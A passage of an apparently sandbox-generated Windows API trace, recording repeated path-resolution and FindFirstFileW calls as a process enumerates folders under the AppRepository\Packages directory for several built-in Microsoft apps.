Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7b [0213.475] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.connectivitystore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x992e71ee, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xc865cca7, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xc865cca7, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0213.482] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe") returned 0x70 [0213.484] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x70 [0213.484] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe") returned 0x70 [0213.485] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe\\") returned 0x71 [0213.485] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99f455a4, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xc98daa50, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xc98daa50, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0213.488] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe") returned 0x70 [0213.489] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x70 [0213.489] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe") returned 0x70 [0213.490] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe\\") returned 0x71 [0213.491] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.getstarted_2.3.7.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99f455a4, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xc98daa50, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xc98daa50, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469a60 [0213.616] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe") returned 0x74 [0213.618] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x74 [0213.618] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe") returned 0x74 [0213.619] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe\\") returned 0x75 [0213.620] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b71ceca, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xcaec27cd, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xcaec27cd, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a180 [0213.623] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe") returned 0x74 [0213.623] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x74 [0213.624] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe") returned 0x74 [0213.624] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe\\") returned 0x75 [0213.625] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.messaging_1.10.22012.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b71ceca, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xcaec27cd, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xcaec27cd, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0213.634] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe") returned 0x82 [0213.635] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x82 [0213.635] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe") returned 0x82 [0213.635] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe\\") returned 0x83 [0213.636] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftofficehub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c75affd, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xcc83d9e0, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xcc83d9e0, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0213.637] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe") returned 0x82 [0213.637] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x82 [0213.637] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe") returned 0x82 [0213.638] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe\\") returned 0x83 [0213.639] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftofficehub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c75affd, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xcc83d9e0, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xcc83d9e0, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0213.639] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe") returned 0x85 [0213.641] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x85 [0213.641] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe") returned 0x85 [0213.641] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe\\") returned 0x86 [0213.642] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e54e85e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xcdbe9069, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xcdbe9069, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0213.829] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe") returned 0x85 [0213.829] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x85 [0213.830] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe") returned 0x85 [0213.830] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe\\") returned 0x86 [0213.831] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftsolitairecollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e54e85e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xcdbe9069, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xcdbe9069, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.118] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe") returned 0x7e [0214.119] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7e [0214.119] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe") returned 0x7e [0214.120] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7f [0214.120] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.office.onenote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa162ebc2, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd0b4bc15, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd0b4bc15, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.123] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe") returned 0x7e [0214.124] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7e [0214.124] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe") returned 0x7e [0214.125] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7f [0214.126] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.office.onenote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa162ebc2, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd0b4bc15, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd0b4bc15, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 